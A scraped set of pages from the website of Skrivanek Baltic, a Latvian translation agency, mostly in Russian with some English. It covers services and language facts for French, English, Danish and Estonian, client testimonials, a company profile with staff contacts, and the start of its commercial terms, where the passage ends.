этому показателю занимает восемнадцатое место в мире, в свою очередь, по общему количество говорящих на французском языке (130 миллионов) занимает одиннадцатое место. Французский язык является государственным языком во Франции, а также на нем говорят крупные общины в Бельгии, Канаде, Люксембурге, Монако, Швейцарии и странах Африки, которые в свое время были колониями Франции, например, Алжир, Габон, Кот-д’Ивуар, Мавритания, Сенегал, и др. Он является официальным языком всех агентств ООН и большинства важных международных организаций. Во французском языке используется латинский алфавит, в котором 26 букв. Несколько букв могут иметь диакритические знаки, в основном используемые в строчных буквах. Они могут изменять произношение буквы или дифференцировать значение слова. Во французском языке нет знаков долготы и смягчения. В написании некоторых слов используются особые лигатуры œ и æ, которые являются объединением букв о и е, а также а и е в один символ. Во французском языке перед именами существительными используются артикли, которые указывают на принадлежность конкретного существительного к роду и числу. Существительные женского рода используются с артиклем lа, существительные мужского рода – с артиклем le, однако в форме множественного числа существительных женского и мужского рода используется один артикль les. Во французском языке также есть неопределенный артикль женского рода une и артикль мужского рода un. Первые письменные памятники на французском языке сохранились с 10 века. Французский язык имеет несколько диалектов, разделенных на пять крупнейших диалектных групп: центральную, северную, восточную, западную и юго-западную. Наиболее распространенные диалекты – бургундский, валлонский (в Бельгии), диалект Иль-де-Франс, нормандский, пикардийский, пуатевинский, лотарингский и швейцарский диалекты. В основе современного французского литературного языка лежит центральный французский диалект региона Иль-де-Франс, определенный в 16-м веке королем Франции Франциском I (1515–1547). Код языка согласно ISO 639-1: fr. УЖЕ БОЛЕЕ 25 ЛЕТ НА РЫНКЕ! Мы имеем богатый опыт перевода текстов на различные темы. 0+ Языков в различных комбинациях 0+ млн Слов переведено в 2023 году 0+ Специалистов по различным языкам 0 Сертификата ISO ОТРАСЛИ, В КОТОРЫХ НАИБОЛЕЕ ЧАСТО ВЫПОЛНЯЮТСЯ ПЕРЕВОДЫ НА ФРАНЦУЗСКИЙ ЯЗЫК Страхование Строительство Человеческие ресурсы (HR) Машиностроение и железнодорожная промышленность Туризм Сельское хозяйство Юриспруденция Медицина и клинические исследования Лесоводство Игры и ИТ Производство Государственные и муниципальные учреждения Торговля Реклама и маркетинг Финансы и банковская деятельность ЧТО НАШИ КЛИЕНТЫ ГОВОРЯТ О НАС Jazz Communications Мы сотрудничаем со Skrivanek Baltic уже несколько лет. Чаще всего нам бывает необходим письменный перевод на латышский, русский и английский, однако приходилось заказывать переводы и на более редкие языки: арабский, эстонский и т. д. Кроме того, мы регулярно пользуемся услугами литературных редакторов, корректоров и копирайтеров латышских текстов. О нашем сотрудничестве остаются только приятные впечатления: руководители проектов (контактные лица) всегда оперативны, отзывчивы и конструктивны, а ценовая политика ясна, открыта и приемлема.  Прокуратура Латвийской Республики Служба административного директора Компания Skrivanek Baltic зарекомендовала себя как профессиональный, надежный партнер, предоставляющий качественные услуги. В рамках сотрудничества у нас не было ни одной претензии относительно работы Skrivanek Baltic, все рабочие вопросы решаются оперативно, общение пронизано взаимопониманием.  Служба государственных доходов Сотрудники Skrivanek Baltic отзывчивы и всегда готовы пойти навстречу. Заказы обрабатываются быстро и качественно, специфическая терминология Службы государственных доходов используется как в переводах юридических текстов, так и при работе с текстами, которые связаны с налоговой и таможенной политикой.  Рижская дума Департамент городского развития Мы очень позитивно оцениваем наше сотрудничество. Skrivanek Baltic − надежный, отзывчивый партнер с превосходными организаторскими способностями. До сих пор наша совместная работа была приятной и успешной − за это, в частности, хотелось бы поблагодарить любезных сотрудников компании, всегда готовых пойти навстречу.  Государственное агентство социального страхования Департамент пенсий отдела международных услуг Компания Skrivanek Baltic зарекомендовала себя как надежный профессиональный партнер, строго следящий за качеством услуг: переводы с использованием отраслевой терминологии выполняются на должном уровне.  --- > Письменные и устные переводы с/на английский язык и другие языковые решения. Получите бесплатный расчет стоимости! - Published: 2017-12-27 - Modified: 2024-11-12 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-anglu-valoda/ - Translation Priorities: Optional ЯЗЫКОВЫЕ РЕШЕНИЯ С/НА АНГЛИЙСКИЙ ЯЗЫК, КОТОРЫЕ ЧАЩЕ ВСЕГО ПРЕДОСТАВЛЯЕМ НАШИМ КЛИЕНТАМ: письменные переводы текстов общей и специализированной тематики; нотариально заверенный перевод; локализация; машинный перевод для предприятий; услуги графического дизайна (DTP); подготовка и адаптация творческих текстов; синхронный и последовательный перевод; языковые курсы; детские лагеря; другие языковые услуги по запросу клиента. НЕОБХОДИМ ПЕРЕВОД? ИЩЕТЕ ЯЗЫКОВОЕ РЕШЕНИЕ ИЛИ ЭКСПЕРТА, КОТОРЫЙ МОЖЕТ ДАТЬ СОВЕТ? Мы подготовим предложение, разработанное специально для вас. Отправить запрос ЯЗЫКОВЫЕ КОМБИНАЦИИ: латышский – английский; английский – латышский; эстонский – английский; английский – эстонский; литовский – английский; английский – литовский; русский – английский; английский – русский; польский – английский; английский – польский; украинский – английский; английский – украинский; немецкий – английский; английский – немецкий; французский – английский; английский – французский; итальянский – английский; английский – итальянский; испанский – английский; английский – испанский; датский – английский; английский – датский; шведский – английский, английский – шведский; норвежский – английский; английский – норвежский; финский – английский, английский – финский и др. ФАКТЫ О АНГЛИЙСКОМ ЯЗЫКЕ Истоки современного английского языка восходят к 7-му веку нашей эры, когда на остров Великобритания прибыли три германских племени – англы, саксы и юты, которые в 7–8 веке, смешавшись с общинами местных жителей британских островов – кельтами, пиктами и скоттами, образовали англосаксонские племена. Исторически английский язык делится на три периода: древнеанглийский, или англосаксонский, язык (8–11 в. ); среднеанглийский язык (12–16 в. ); новоанглийский язык (с середины 16 в. до наших дней). Английский язык – это западногерманский язык индоевропейской языковой семьи. Он является родным для 400 миллионов человек, и по этому показателю занимает третье место в мире после китайского языка и хинди, в свою очередь, в сумме с остальными англоговорящими людьми в мире занимает второе место. С 9 века в английском языке используется латинский алфавит, в котором 26 букв. В английском языке активно используются около 171 476 слов, а устаревшими считаются приблизительно 47 156 слов. К ним еще можно добавить приблизительно 9500 производных слов. Около половины этих слов – существительные, четверть – прилагательные и приблизительно седьмая часть – глаголы. Остаток образуют междометия, союзы, предлоги и др. Первым английским печатником и типографом является Вильям Какстон (William Caxton) (1422–1491), который около 1471 года напечатал первую книгу на английском языке. В 1476 году в английском городе Вестминстере он основал свою типографию. Английский язык является государственным языком во многих странах: Соединенных Штатах Америки, Австралии, Южной Африке, Новой Зеландии, Канаде, Великобритании и нескольких государствах Карибского моря и Тихого океана. Он также является одним из официальных языков нескольких стран Африки, на Филиппинах, в Индии и Сингапуре. В мире существует несколько разновидностей английского языка, которые отличаются между собой по произношению, лексике и грамматике: американский английский, австралийский английский, британский английский, канадский английский и др. У каждой разновидности английского языка есть несколько диалектов. Например, основные диалекты британского английского: южно-английский диалект, среднеанглийский диалект, северо-английский диалект, а также ирландский диалект, шотландский диалект, уэльский диалект и др. Код языка согласно ISO 639-1: en УЖЕ БОЛЕЕ 25 ЛЕТ НА РЫНКЕ! Мы имеем богатый опыт перевода текстов на различные темы. 0+ Языков в различных комбинациях 0+ млн Слов переведено в 2023 году 0+ Специалистов по различным языкам 0 Сертификата ISO ОТРАСЛИ, В КОТОРЫХ НАИБОЛЕЕ ЧАСТО ВЫПОЛНЯЮТСЯ ПЕРЕВОДЫ НА АНГЛИЙСКИЙ ЯЗЫК Страхование Строительство Человеческие ресурсы (HR) Машиностроение и железнодорожная промышленность Туризм Сельское хозяйство Юриспруденция Медицина и клинические исследования Лесоводство Игры и ИТ Производство Государственные и муниципальные учреждения Торговля Реклама и маркетинг Финансы и банковская деятельность ЧТО НАШИ КЛИЕНТЫ ГОВОРЯТ О НАС Jazz Communications Мы сотрудничаем со Skrivanek Baltic уже несколько лет. Чаще всего нам бывает необходим письменный перевод на латышский, русский и английский, однако приходилось заказывать переводы и на более редкие языки: арабский, эстонский и т. д. Кроме того, мы регулярно пользуемся услугами литературных редакторов, корректоров и копирайтеров латышских текстов. О нашем сотрудничестве остаются только приятные впечатления: руководители проектов (контактные лица) всегда оперативны, отзывчивы и конструктивны, а ценовая политика ясна, открыта и приемлема.  Прокуратура Латвийской Республики Служба административного директора Компания Skrivanek Baltic зарекомендовала себя как профессиональный, надежный партнер, предоставляющий качественные услуги. В рамках сотрудничества у нас не было ни одной претензии относительно работы Skrivanek Baltic, все рабочие вопросы решаются оперативно, общение пронизано взаимопониманием.  Служба государственных доходов Сотрудники Skrivanek Baltic отзывчивы и всегда готовы пойти навстречу. Заказы обрабатываются быстро и качественно, специфическая терминология Службы государственных доходов используется как в переводах юридических текстов, так и при работе с текстами, которые связаны с налоговой и таможенной политикой.  Рижская дума Департамент городского развития Мы очень позитивно оцениваем наше сотрудничество. Skrivanek Baltic − надежный, отзывчивый партнер с превосходными организаторскими способностями. До сих пор наша совместная работа была приятной и успешной − за это, в частности, хотелось бы поблагодарить любезных сотрудников компании, всегда готовых пойти навстречу.  Государственное агентство социального страхования Департамент пенсий отдела международных услуг Компания Skrivanek Baltic зарекомендовала себя как надежный профессиональный партнер, строго следящий за качеством услуг: переводы с использованием отраслевой терминологии выполняются на должном уровне.  --- > Quality language services for businesses and individuals. One of the major language services providers in the world. Find out more! - Published: 2017-12-22 - Modified: 2025-07-02 - URL: https://skrivanek.lv/skrivanek-baltic/kas-mes-esam/ - Translation Priorities: Optional YOUR TRANSLATION BUREAU AND LANGUAGE TRAINING CENTRE SKRIVANEK 1 Skrivanek is one of the major language services providers in the world, with more than 30 years of experience in the field of language services. Currently it has almost fifty branches in various countries across the world. Skrivanek Baltic has been operating in Latvia since 2003, offering its customers high-quality language services. MISSION The Skrivanek Baltic mission is to ensure high-quality language services to help our individual and corporate clients ensure easy and successful communication and sustainable activity in Latvia and abroad. VISION Skrivanek Baltic’s vision is to be a company with an exceptional level of customer service, high quality standards, satisfied employees and a good reputation. GOALS be a socially responsible and sustainable company; introduce innovations to the industry through the company’s daily activities; be a trustworthy and friendly cooperation partner for our clients and suppliers; participate in the growth of the industry and facilitate the development of its reputation and quality in Latvia. Code of Conduct Policy for Employees, Suppliers and Partners VALUES Agility – we embrace agility, swiftly adapting to the ever-changing technology-linguistic landscape and client requirements. Our flexibility ensures we continue to meet the evolving needs of our clients. We encourage experimentation within our team, fostering a culture of innovation and continuous improvement. Technologies – we embrace innovation and leverage cutting-edge technologies to enhance the efficiency and quality of our language services. Embracing technological advancements is integral to our commitment to innovation and client satisfaction. Teamwork & Global Collaboration – we believe in the power of enthusiastic professionals from around the globe working together to achieve extraordinary results. We are committed to creating an inclusive and diverse working environment where both teams and individuals can thrive. Responsibility & Value Creation – we care about your success and are committed to delivering value to your business. You can count on us for timely, personalised, and consistent language-tech solutions. OUR ADVANTAGES reliable qualitylong-term experiencevast range of servicesknowledgeable colleagues in 17 countriesone-stop language agencylatest industry technologieshigh capacity for large projectsobliging and responsible attitudeFrequently Asked Questions OUR EMPLOYEES AND SUPPLIERS OUR TEAM We currently employ more than 360 full-time members of staff. All of our employees have a very good command of at least one world language. We also have linguists, computer specialists, analysts, and economists among our ranks. TRANSLATORS All translations are carried out by native speakers of the target language – it is the official language in the country they live in. Many translators are members of professional translators’ associations. We handpick a translator for each job as soon as we have received enough information on the subject, which allows us to ensure the best match. PROOFREADERS AND EDITORS Each translation is revised by a proofreader and an editor of the respective industry, who are both native speakers of the target language. These specialists ensure that the language flows smoothly and the terminology is used accurately. Career Vasilijs Ragačevičs Director vasilijs@skrivanek. lv Artūrs Peha Business Development Manager arturs@skrivanek. lv Dana Laizāne Localization & AI Project Director dana@skrivanek. lv Jeļena Lapoška Head of Administrative Department jelena. laposka@skrivanek. lv Aiga Matveja Head of Training Center macibas@skrivanek. lv Ivars Treskovskis Translation Project Director ivars@skrivanek. lv Lelde Calmane Head of Quality Department lelde@skrivanek. lv Jānis Luns Marketing Manager janis. luns@skrivanek. lv Uldis Krūmiņš IT administrator uldis@skrivanek. lv RELIABILITY, SPEED AND QUALITY OF SERVICES KRKA d. d. The employees of Skrivanek are helpful, accommodating, and have an understanding approach to the specifics of our pharmaceutical translation tasks and translations from various language combinations. Orders are executed to a high standard in accordance with the highest professional and ethical competence and according to deadlines set.  Sandoz d. d. We recommend Skrivanek Baltic as a reliable partner for any large scale projects requiring professional language services.  Adidas Baltics The employees of Skrivanek are helpful and have an understanding approach to the specifics of our translation tasks from Baltic languages. Adidas Baltic recommends other companies to use the services provided by this company.  --- > Переводы, локализация, языковые курсы, адаптация текстов с/на датский язык. Выбирайте опыт и профессионализм – ваш Skrivanek. - Published: 2017-12-21 - Modified: 2024-01-03 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-danu-valoda/ - Translation Priorities: Optional ЯЗЫКОВЫЕ РЕШЕНИЯ С/НА ДАТСКИЙ ЯЗЫК, КОТОРЫЕ ЧАЩЕ ВСЕГО ПРЕДОСТАВЛЯЕМ НАШИМ КЛИЕНТАМ: письменные переводы текстов общей и специализированной тематики; нотариально заверенный перевод; локализация; машинный перевод для предприятий; услуги графического дизайна (DTP); подготовка и адаптация творческих текстов; синхронный и последовательный перевод; языковые курсы; другие языковые услуги по запросу клиента. НЕОБХОДИМ ПЕРЕВОД? ИЩЕТЕ ЯЗЫКОВОЕ РЕШЕНИЕ ИЛИ ЭКСПЕРТА, КОТОРЫЙ МОЖЕТ ДАТЬ СОВЕТ? Мы подготовим предложение, разработанное специально для вас. Отправить запрос ЯЗЫКОВЫЕ КОМБИНАЦИИ: латышский – датский; датский – латышский; эстонский – датский; датский – эстонский; литовский – датский; датский – литовский; русский – датский; датский – русский; польский – датский; датский – польский; английский – датский; датский – английский; украинский – датский; датский – украинский; немецкий – датский; датский – немецкий; французский – датский; датский – французский; испанский – датский; датский – испанский; итальянский – датский; датский – итальянский; чешский – датский; датский – чешский; шведский – датский, датский – шведский; норвежский – датский; датский – норвежский; финский – датский, датский – финский и др. ФАКТЫ О ДАТСКОМ ЯЗЫКЕ Датский язык принадлежит к северогерманской группе индоевропейской языковой семьи. Это официальный язык Дании, Фарерских островов, Европейского союза и Северного совета, до 2009 года он был государственным языком Гренландии. Кроме того, он распространен на немецкой федеральной земле Шлезвиг-Гольштейн, где датский имеет статус языка национального меньшинства; также на нем общаются диаспоры в США, Аргентине и Канаде. Этот язык является «родственником» шведского и норвежского. Наиболее существенные различия наблюдаются в произношении слов, например, в датском многие согласные, как правило, не выговариваются. В нем, как и в других скандинавских языках, чувствуется большое влияние нижненемецкого — из этого языка заимствована примерно треть датских слов. Общее число носителей датского языка оценивается в 5,6 миллиона человека. В качестве обязательного учебного предмета датский язык преподается в школах Фарерских островов, Гренландии и Исландии. На нем говорят 15–20 % жителей Гренландии. Датский произошел от диалекта восточной группы древненорвежского языка, поэтому вплоть до XII века датчане и норвежцы говорили на одном языке. До 1814 года датский язык являлся государственным языком Норвегии. Древнейшие памятники в виде рунического письма сохранились с III века нашей эры. Древнейшие манускрипты датированы XIII веком — это хроника Gesta Danorum, которая повествует о первых датских монархах. Первая книга была напечатана в 1495 году, в свою очередь, первая Библия в Дании была издана в 1550 году. Датский алфавит состоит из 28 букв: латинский алфавит дополняют Æ, Ø, Å. Существуют три группы диалектов — островные (Ømål), борнхольмские (Bornholmian) и ютландские (Jysk), — которые подразделяются примерно на 30 говоров. В датском языке различаются три интонационных типа предложения: с повышением тона, с понижением тона и толчок. Их использование определяется диалектом или субъективным усмотрением говорящего. В отличие от латышского, где вопрос задается с повышением тона, в датском языке так выражается возмущение. Имена существительные в датском языке имеют два рода — общий и средний. Большая часть существительных имеет общий род, который сформировался историческим путем в результате постепенного слияния женского и мужского родов. В датском языке используются определенные и неопределенные артикли. С существительными, которые обозначают профессии и национальности, артикли обычно не используются. Существительные имеют падежное окончание только в родительном падеже, остальные падежи образуются с помощью конструкций с предлогами. Прилагательные в датском языке не склоняются. Глаголы не имеют форм лица и числа, но имеют три другие основные формы: неопределенную форму, форму простого прошедшего и форму причастия прошедшего времени. Они служат для образования других форм глаголов: просто нужно добавить окончания и вспомогательные слова. Любопытно, что в датском языке при выражении чисел единицы называются перед десятками. В синтаксисе датского языка есть строгое правило: предложение всегда должно иметь подлежащее и сказуемое; исключением являются случаи, когда глагол стоит в повелительном наклонении. Порядок слов в предложениях строго определен. В одном предложении никогда не используется более одного отрицания. Код языка согласно ISO 639-1: da УЖЕ БОЛЕЕ 25 ЛЕТ НА РЫНКЕ! Мы имеем богатый опыт перевода текстов на различные темы. 0+ Языков в различных комбинациях 0+ млн Слов переведено в 2023 году 0+ Специалистов по различным языкам 0 Сертификата ISO ОТРАСЛИ, В КОТОРЫХ НАИБОЛЕЕ ЧАСТО ВЫПОЛНЯЮТСЯ ПЕРЕВОДЫ НА ДАТСКИЙ ЯЗЫК Страхование Строительство Человеческие ресурсы (HR) Машиностроение и железнодорожная промышленность Туризм Сельское хозяйство Юриспруденция Медицина и клинические исследования Лесоводство Игры и ИТ Производство Государственные и муниципальные учреждения Торговля Реклама и маркетинг Финансы и банковская деятельность ЧТО НАШИ КЛИЕНТЫ ГОВОРЯТ О НАС Jazz Communications Мы сотрудничаем со Skrivanek Baltic уже несколько лет. Чаще всего нам бывает необходим письменный перевод на латышский, русский и английский, однако приходилось заказывать переводы и на более редкие языки: арабский, эстонский и т. д. Кроме того, мы регулярно пользуемся услугами литературных редакторов, корректоров и копирайтеров латышских текстов. О нашем сотрудничестве остаются только приятные впечатления: руководители проектов (контактные лица) всегда оперативны, отзывчивы и конструктивны, а ценовая политика ясна, открыта и приемлема.  Прокуратура Латвийской Республики Служба административного директора Компания Skrivanek Baltic зарекомендовала себя как профессиональный, надежный партнер, предоставляющий качественные услуги. В рамках сотрудничества у нас не было ни одной претензии относительно работы Skrivanek Baltic, все рабочие вопросы решаются оперативно, общение пронизано взаимопониманием.  Служба государственных доходов Сотрудники Skrivanek Baltic отзывчивы и всегда готовы пойти навстречу. Заказы обрабатываются быстро и качественно, специфическая терминология Службы государственных доходов используется как в переводах юридических текстов, так и при работе с текстами, которые связаны с налоговой и таможенной политикой.  Рижская дума Департамент городского развития Мы очень позитивно оцениваем наше сотрудничество. Skrivanek Baltic − надежный, отзывчивый партнер с превосходными организаторскими способностями. До сих пор наша совместная работа была приятной и успешной − за это, в частности, хотелось бы поблагодарить любезных сотрудников компании, всегда готовых пойти навстречу.  Государственное агентство социального страхования Департамент пенсий отдела международных услуг Компания Skrivanek Baltic зарекомендовала себя как надежный профессиональный партнер, строго следящий за качеством услуг: переводы с использованием отраслевой терминологии выполняются на должном уровне.  --- > Мы предоставляем множество языковых решений с/на эстонский язык: письменные и устные переводы, локализация и прочие услуги. Свяжитесь с нами! - Published: 2017-12-21 - Modified: 2024-01-03 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-igaunu-valoda/ - Translation Priorities: Optional ЯЗЫКОВЫЕ РЕШЕНИЯ С/НА ЭСТОНСКИЙ ЯЗЫК, КОТОРЫЕ ЧАЩЕ ВСЕГО ПРЕДОСТАВЛЯЕМ НАШИМ КЛИЕНТАМ: письменные переводы текстов общей и специализированной тематики; нотариально заверенный перевод; локализация; машинный перевод для предприятий; услуги графического дизайна (DTP); подготовка и адаптация творческих текстов; синхронный и последовательный перевод; языковые курсы; другие языковые услуги по запросу клиента. НЕОБХОДИМ ПЕРЕВОД? ИЩЕТЕ ЯЗЫКОВОЕ РЕШЕНИЕ ИЛИ ЭКСПЕРТА, КОТОРЫЙ МОЖЕТ ДАТЬ СОВЕТ? Мы подготовим предложение, разработанное специально для вас. Отправить запрос ЯЗЫКОВЫЕ КОМБИНАЦИИ: латышский – эстонский; эстонский – латышский; литовский – эстонский; эстонский – литовский; русский – эстонский; эстонский – русский; польский – эстонский; эстонский – польский; английский – эстонский; эстонский – английский; украинский – эстонский; эстонский – украинский; немецкий – эстонский; эстонский – немецкий; французский – эстонский; эстонский – французский; испанский – эстонский; эстонский – испанский; итальянский – эстонский; эстонский – итальянский; датский – эстонский; эстонский – датский; шведский – эстонский, эстонский – шведский; норвежский – эстонский; эстонский – норвежский; финский – эстонский, эстонский – финский и др. ЧТО НАШИ КЛИЕНТЫ ГОВОРЯТ О НАС Jazz Communications Мы сотрудничаем со Skrivanek Baltic уже несколько лет. Чаще всего нам бывает необходим письменный перевод на латышский, русский и английский, однако приходилось заказывать переводы и на более редкие языки: арабский, эстонский и т. д. Кроме того, мы регулярно пользуемся услугами литературных редакторов, корректоров и копирайтеров латышских текстов. О нашем сотрудничестве остаются только приятные впечатления: руководители проектов (контактные лица) всегда оперативны, отзывчивы и конструктивны, а ценовая политика ясна, открыта и приемлема.  Прокуратура Латвийской Республики Служба административного директора Компания Skrivanek Baltic зарекомендовала себя как профессиональный, надежный партнер, предоставляющий качественные услуги. В рамках сотрудничества у нас не было ни одной претензии относительно работы Skrivanek Baltic, все рабочие вопросы решаются оперативно, общение пронизано взаимопониманием.  Служба государственных доходов Сотрудники Skrivanek Baltic отзывчивы и всегда готовы пойти навстречу. Заказы обрабатываются быстро и качественно, специфическая терминология Службы государственных доходов используется как в переводах юридических текстов, так и при работе с текстами, которые связаны с налоговой и таможенной политикой.  Рижская дума Департамент городского развития Мы очень позитивно оцениваем наше сотрудничество. Skrivanek Baltic − надежный, отзывчивый партнер с превосходными организаторскими способностями. До сих пор наша совместная работа была приятной и успешной − за это, в частности, хотелось бы поблагодарить любезных сотрудников компании, всегда готовых пойти навстречу.  Государственное агентство социального страхования Департамент пенсий отдела международных услуг Компания Skrivanek Baltic зарекомендовала себя как надежный профессиональный партнер, строго следящий за качеством услуг: переводы с использованием отраслевой терминологии выполняются на должном уровне.  ФАКТЫ ОБ ЭСТОНСКОМ ЯЗЫКЕ На эстонском языке разговаривают в северных регионах Европы. Этот язык принадлежит к прибалтийско-финской группе финно-угорской языковой семьи. По мнению ученых, в древности протофинно-угорские племена обитали далеко за Уральскими горами, на обширных территориях, граничащих с ареалом иранских племен. Приблизительно в III тысячелетии до нашей эры они перекочевали к Балтийскому морю, где начали устанавливать тесные культурные связи с племенами балтов; в археологических памятниках они упоминаются как представители культуры ямочно-гребенчатой керамики. Эстонский язык родственен ливскому, финскому и вотскому, однако не похож на языки соседних стран: русский, латышский и шведский. Эстонский и финский языки возникли путем разделения протофинно-угорских племен, которые в общении использовали так называемый протофинский язык. Современный эстонский язык гораздо больше отличается от протофинского языка, чем современный финский, однако в нем сохранились некоторые архаизмы, которые больше не встречаются в финском языке. В общей сложности на эстонском говорит около 1,1 миллиона человек: это второй малочисленности язык в мире, который имеет статус государственного (на первом месте — исландский); в России и Латвии это язык национального меньшинства. Эстонский язык имеет два диалекта — североэстонский (преобладает в окрестностях Таллина) и южноэстонский (преобладает в окрестностях Тарту). Североэстонский диалект также распространен в исторических областях Вирумаа, Харью, Ярвамаа, Ридала, а также в северной части уездов Пярнуского, Вильяндиского и Тартуского уездов. В языке, используемом на эстонских островах, чувствуется влияние шведского. На южноэстонском диалекте говорят в южной части Пярнуского, Вильяндиского и Тартуского уездов. Современный литературный эстонский язык по большей части был сформирован на основе североэстонского диалекта. Уже в XVI веке существовали два типа письменного языка, которые происходили из вышеупомянутых диалектов. Перевод Библии, изданный в 1739 году, сыграл большую роль в развитии эстонского литературного языка: это был первый источник, объединивший в себе обе разновидности языка, используемые в то время. Среди выдающихся лингвистов XIX века, активно участвовавших в формировании эстонского литературного языка, можно упомянуть Э. Аренса, Ф. И. Видемана, Я. Хурта и М. Веске. Примерно в это же время началось стремительное развитие эстонской литературы. История письменного эстонского языка также весьма любопытна. В конце XIX века лингвистом М. Веске было инициировано движение, целью которого было приблизить письменный язык того времени к фонетическим особенностям отдельных диалектов. Это движение было настолько успешным, что через некоторое время в Эстонии сформировались два параллельно существующих литературных языка. В эстонском языке сохранились древние заимствования из балтийских, германских, индоиранских и славянских языков; новые пришли из латышского, русского, немецкого и шведского. При этом интернационализмы в эстонском используются редко. В основе письменного языка лежит латинский алфавит; сохранилось влияние немецкого языка: три графемы с умляутом, диакритическим знаком в виде двух точек, в эстонском считаются отдельными буквами (Ä, Ö, Ü). Эстонский язык имеет богатую падежную систему, состоящую из 14 падежей. В дополнение к известным нам падежам, таким как именительный и родительный, существуют также партитив (обозначает часть, количество какого-либо предмета), иллатив (указывает направление: куда? во что? ), элатив (обозначает направление извне, наружу), аллатив (куда? ), адессив (указывает на нахождение на чем-либо), аблатив (от чего? ), эссив (указывает на нахождение в каком-либо месте или состоянии), транслатив (указывает на переход чего-либо в иное состояние), комитатив (вместе с чем? ) и терминатив (указывает на ограничение в пространстве и времени). Для эстонского языка характерно большое количество гласных с разными степенями долготы: есть краткие, среднедлинные, длинные и сверхдлинные гласные звуки. ифтонги и согласные также имеют несколько степеней долготы: они бывают краткие, среднедлинные и длинные. Если говорить о пропорции, в эстонском языке 45 % гласных и 55 % согласных звуков. Эстонские глаголы имеют четыре временные формы — одна форма настоящего и три формы прошедшего, — однако такой грамматической категории, как будущее время, не существует. Глаголы в эстонском языке имеют две неопределенные формы. Основное ударение всегда падает на первый слог, а дополнительное — на третий. Порядок слов в эстонском языке довольно свободен, смысл предложения можно понять, даже если последовательность не соблюдена. Все существительные и прилагательные в формах единственного и множественного числа имеют одинаковые окончания; для получения множественного числа используются специальные суффиксы. Одно и же местоимение обозначает и мужчин, и женщин, поскольку в языке отсутствует категория рода. В эстонском языке нет превосходной степени сравнения, для выражения градации используются усиливающие частицы в конце слова. В языке есть особое пересказательное наклонение и отрицательное спряжение, но нет глаголов с приставками ввиду отсутствия предлогов. Именно поэтому в эстонском так много падежей. Этот язык считается одним из самых сложных в мире. Код языка согласно ISO 639-1: et УЖЕ БОЛЕЕ 25 ЛЕТ НА РЫНКЕ! Мы имеем богатый опыт перевода текстов на различные темы. 0+ Языков в различных комбинациях 0+ млн Слов переведено в 2023 году 0+ Специалистов по различным языкам 0 Сертификата ISO ОТРАСЛИ, В КОТОРЫХ НАИБОЛЕЕ ЧАСТО ВЫПОЛНЯЮТСЯ ПЕРЕВОДЫ НА ЭСТОНСКИЙ ЯЗЫК Страхование Строительство Человеческие ресурсы (HR) Машиностроение и железнодорожная промышленность Туризм Сельское хозяйство Юриспруденция Медицина и клинические исследования Лесоводство Игры и ИТ Производство Государственные и муниципальные учреждения Торговля Реклама и маркетинг Финансы и банковская деятельность --- > Качественные специализированные переводы. Письменные и устные переводы. Получите бесплатный расчет стоимости перевода в течение нескольких минут! - Published: 2017-12-20 - Modified: 2021-10-29 - URL: https://skrivanek.lv/tulkosanas-nozares/ - Translation Priorities: Optional Страхование Строительство Человеческие ресурсы (HR) Машиностроение и железнодорожная промышленность Туризм Сельское хозяйство Юриспруденция Медицина и клинические исследования Лесоводство Игры и ИТ Производство Государственные и муниципальные учреждения Торговля Реклама и маркетинг Финансы и банковская деятельность ЧТО НАШИ КЛИЕНТЫ ГОВОРЯТ О НАС Jazz Communications Мы сотрудничаем со Skrivanek Baltic уже несколько лет. Чаще всего нам бывает необходим письменный перевод на латышский, русский и английский, однако приходилось заказывать переводы и на более редкие языки: арабский, эстонский и т. д. Кроме того, мы регулярно пользуемся услугами литературных редакторов, корректоров и копирайтеров латышских текстов. О нашем сотрудничестве остаются только приятные впечатления: руководители проектов (контактные лица) всегда оперативны, отзывчивы и конструктивны, а ценовая политика ясна, открыта и приемлема.  Прокуратура Латвийской Республики Служба административного директора Компания Skrivanek Baltic зарекомендовала себя как профессиональный, надежный партнер, предоставляющий качественные услуги. В рамках сотрудничества у нас не было ни одной претензии относительно работы Skrivanek Baltic, все рабочие вопросы решаются оперативно, общение пронизано взаимопониманием.  Служба государственных доходов Сотрудники Skrivanek Baltic отзывчивы и всегда готовы пойти навстречу. Заказы обрабатываются быстро и качественно, специфическая терминология Службы государственных доходов используется как в переводах юридических текстов, так и при работе с текстами, которые связаны с налоговой и таможенной политикой.  Рижская дума Департамент городского развития Мы очень позитивно оцениваем наше сотрудничество. Skrivanek Baltic − надежный, отзывчивый партнер с превосходными организаторскими способностями. До сих пор наша совместная работа была приятной и успешной − за это, в частности, хотелось бы поблагодарить любезных сотрудников компании, всегда готовых пойти навстречу.  Государственное агентство социального страхования Департамент пенсий отдела международных услуг Компания Skrivanek Baltic зарекомендовала себя как надежный профессиональный партнер, строго следящий за качеством услуг: переводы с использованием отраслевой терминологии выполняются на должном уровне.  --- > Skrivanek is a language service provider with 30+ years of experience: professional language services for businesses and individuals. - Published: 2017-12-20 - Modified: 2025-07-02 - URL: https://skrivanek.lv/komercnoteikumi/ - Translation Priorities: Optional 1. MAIN TERMS AND CONDITIONS 1. 1. These general commercial terms are determined by SIA Skrivanek Baltic, registration number: 40003626172, registered office: Lāčplēša iela 87C, Riga, LV-1011, hereinafter in the text – Contractor, and its customer, hereinafter referred to as the Customer, but together, the Parties. 1. 2. The object of the Commercial Terms is the provision of services, hereinafter referred to as the Orders, which are the forms of business of SIA Skrivanek Baltic, in particular translations and interpretations in accordance with these commercial terms and conditions stipulated in the Order. 1. 3. The contractual relationship between the Customer and the Contractor shall be established by drawing up a written Order, including by e-mail, in which the Parties agree on the execution time, order and payment terms of the Order. 2. TRANSLATIONS 2. 1. The Contractor, in accordance with Paragraph 1, agrees on the Order and executes the Order in the agreed upon language and time, and delivers it to the Customer in the manner agreed. 2. 2. The Customer undertakes to duly execute the Order accepted and pay the Contractor the agreed price. 2. 3. The Customer undertakes to accept the Order in a certain time and way. 2. 4. The Customer or authorised representative is obligated to confirm acceptance of the Order by telephone or in writing (including by e-mail), indicating that it was accepted in a timely manner. If the Customer fails to fulfil this obligation and does not provide a reminder about the order within 24 hours after the deadline for placing the Order by telephone or in writing (including by e-mail), the Contractor may consider that the Customer has received the order in time and has not encountered any objection regarding its deadline or the arrangements. 2. 5. The deadline to fulfil the Order is not overdue, if the Contractor reiterates – after the Customer’s reminder, that it sent the Order to it and proves that it has already sent it in the time and manner 